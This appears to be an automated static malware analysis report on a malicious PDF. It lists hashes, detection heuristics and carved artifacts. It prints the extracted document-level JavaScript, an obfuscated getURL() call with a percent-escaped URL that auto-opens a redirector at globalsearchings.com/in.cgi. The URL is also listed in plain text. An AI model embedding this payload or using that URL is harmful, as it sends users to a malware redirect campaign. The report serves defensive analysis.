Malicious PDF — malware analysis report

Static analysis result for SHA-256 37a7e692de890e06…

MALICIOUS

PDF

41.7 KB Created: 2012-12-10 16:18:43 +04:00 Authoring application: Java.net (via mPDF 5.0) First seen: 2013-01-23
MD5: 8d2c5ca21728ffce4960dafb2815cc76 SHA-1: f23ce5164225ad1b9971dffcf68ca9de921b1b3f SHA-256: 37a7e692de890e069e009894f3037cafb870f5771ce9eca88c577fef511aa69f
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The extracted JavaScript artifact, 'javascript_obj0031_000.js', shows signs of obfuscation and is likely responsible for downloading and executing a secondary payload. The presence of obfuscated JavaScript and the suspicious nature of the extracted artifact suggest a malicious intent, likely for malware delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9960

Heuristics 6

  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Search-themed obfuscated getURL redirector campaign critical PDF_JS_SEARCH_REDIRECTOR_GETURL_CAMPAIGN
    PDF document-level JavaScript automatically opens a known search-themed redirector campaign URL from a percent-escaped getURL() target. This is malicious redirect-carrier behavior, not evidence of a PDF parser CVE.
  • Obfuscated document JavaScript getURL redirector high PDF_JS_OBFUSCATED_GETURL_REDIRECTOR
    PDF document-level JavaScript automatically calls getURL() on an HTTP(S) destination hidden behind percent escapes. The decoded path is a redirector-style endpoint such as /in.cgi or /go.php. This is malicious routing behavior rather than a PDF parser CVE.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://globalsearchings.com/in.cgi?17 Referenced by PDF JavaScript
    • http://dejavu.sourceforge.netIn PDF document text
    • http://dejavu.sourceforge.net/wiki/index.php/LicenseIn PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0031_000.js pdf-javascript-stream PDF /JS object 31 at offset 0x9EBB 136 bytes
SHA-256: cd6097ae9725eedeb8d68162b4d969180785ce4cb6006439670b9637b33de890
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
this.getURL(unescape('%68%74%74%70%3a%2f%2f%67%6c%6f%62%61%6c%73%65%61%72%63%68%69%6e%67%73%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%37'))
stream_004_off000016c0.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x16C0 17756 bytes
SHA-256: ded1520fd68b91798ef4502ba393be29e6762be445da6319489229b957e57958
font_01_sfnt_off000044d2.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x44D2 17892 bytes
SHA-256: a8ed3909966b10c026f46212f55dce68c94667ce1ac039797d3ebfa1d644dacf
font_02_sfnt_off00007312.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x7312 18720 bytes
SHA-256: 4ee4e439b16220e78b319060a3d86ba95cd4b8614522dd4fa1d4df274793c516

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